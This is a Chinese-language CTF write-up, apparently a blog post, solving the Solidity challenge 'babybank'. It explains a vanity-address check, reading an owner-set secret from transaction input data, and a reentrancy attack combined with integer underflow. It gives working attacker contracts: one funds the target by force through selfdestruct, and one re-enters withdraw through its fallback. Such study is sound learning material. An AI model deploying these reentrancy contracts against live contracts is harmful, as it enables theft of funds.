前言
开始学习区块链的安全问题,先从这道比较简单的区块链题目入手,学习一波。
WP
源码:
pragma solidity ^0.4.23;
contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
//challenge 1
function profit() public{
require(level[msg.sender]==0);
require(uint(msg.sender) & 0xffff==0xb1b1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
//challenge 2
function set_secret(uint new_secret) public onlyOwner{
secret=new_secret;
}
function guess(uint guess_secret) public{
require(guess_secret==secret);
require(level[msg.sender]==1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
//challenge 3
function transfer(address to, uint amount) public{
require(balance[msg.sender] >= amount);
require(amount==2);
require(level[msg.sender]==2);
balance[msg.sender] = 0;
balance[to] = amount;
}
function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}
}
目前我还不知道区块链的题目应该怎么复现,所以在本地Remix上试的时候就去除了得到flag的代码和一部分代码,只保留在本地可以复现成功的代码。
代码不算长,大致看一下,想要得到flag需要balance[msg.sender] >= 10000000000
,而且差不多有3个challenge,首先是这个:
function profit() public{
require(level[msg.sender]==0);
require(uint(msg.sender) & 0xffff==0xb1b1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
&是相同为0,不同为1,因此这部分要求msg.sender以0xb1b1结尾,第一次做区块链的题目确实没啥思维了,接下来就是从大师傅们的WP上学习东西。
有这么一个网站,可以生成指定前缀或者后缀的ETC地址账号:
https://vanity-eth.tk/
因此先利用这个工具生成个账号,再去profit函数就可以了:
然后就是这里:
function set_secret(uint new_secret) public onlyOwner{
secret=new_secret;
}
function guess(uint guess_secret) public{
require(guess_secret==secret);
require(level[msg.sender]==1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
说白了就是需要传的guess_secret和owner传的new_secret一样。又学习到了,就是去看合约的交易信息:
注意到下面的Input Data的参数,非常的眼熟了,就是我昨天刚学习的函数选择器及参数编码那部分的知识。
本地复现一下就可以知道:
bytes4 public selector1= bytes4(this.set_secret.selector);
前面的0x8e2a219e就是函数签名了,因此后面的000000000000000000000000000000000000000000000000000000000001e240
就是传入的参数经过编码后的结果,因为是uint256类型,因此直接1e240进行16进制解码就得到123456(这里是我本地复现的,所以就是模拟输入了个值)。
然后就到了最终的利用处了:
function transfer(address to, uint amount) public{
require(balance[msg.sender] >= amount);
require(amount==2);
require(level[msg.sender]==2);
balance[msg.sender] = 0;
balance[to] = amount;
}
function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}
关键的漏洞函数就是withdraw这个函数,需要amount为2,而且当前账号的余额要大于等于2。这样就会触发这两行代码:
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
一行是重入攻击,一行是整形下溢出。首先是call那里利用重入攻击,如果msg.sender本身就是一个合约的话,在转账的时候会调用那个合约的fallback函数。
这时候如果构造一个恶意的合约,在它的fallback函数里面再次调用一次题目中的withdray函数,这样就相当于调用了2次withdraw,经过了2次balance[msg.sender] -= amount;
。第一次是2-2,第二次是0-2,实现整形下溢出,变成很大的一个数字,这样就可以实现balance[msg.sender] >= 10000000000
。
还有一个问题就是,题目的合约本身是没有ETH的,因此也就是说没法调用call。因此需要我们给合约转钱才行。但是代码里并没有可以赚钱的函数,这里又学到一点,利用自杀函数来帮助我们强制转账。
我们知道selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);语句可以帮助我们销毁合并并将合约中的钱全部转到括号中的地址内。
因此可以利用这种销毁合约的方式来强制转账。
写个合约:
contract feng {
function kill() public payable {
selfdestruct(address(0x3E44E3d7Ecf4500179a132B8dD3FeC182Ed4a1F4));
}
constructor() public payable{
}
}
在deploy的时候向它转0.3ETH。
然后销毁。就可以强制向那个合约里转0.3ETH。(其实0.2也行)
接着就连着上面的,写个攻击合约:
pragma solidity ^0.4.24;
contract feng {
function kill() public payable {
selfdestruct(address(0x3E44E3d7Ecf4500179a132B8dD3FeC182Ed4a1F4));
}
constructor() public payable{
}
}
interface BabybankInterface {
function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b64email) external;
}
contract attack {
BabybankInterface private bank = BabybankInterface(0x3E44E3d7Ecf4500179a132B8dD3FeC182Ed4a1F4);
bool flag = false;
function() external payable{
require(flag==false);
flag=true;
bank.withdraw(2);
}
function att() public {
bank.withdraw(2);
}
}
攻击之前,利用b1b1结尾的那个账号调用transfer函数,把2块钱转到我们这个攻击合约上。
然后攻击合约再调用att:
调用完之后再看一下账号的余额,发现下溢出成功:
然后再调用payforflag就可以了(因为是本地复现,就没考虑后面这些了)。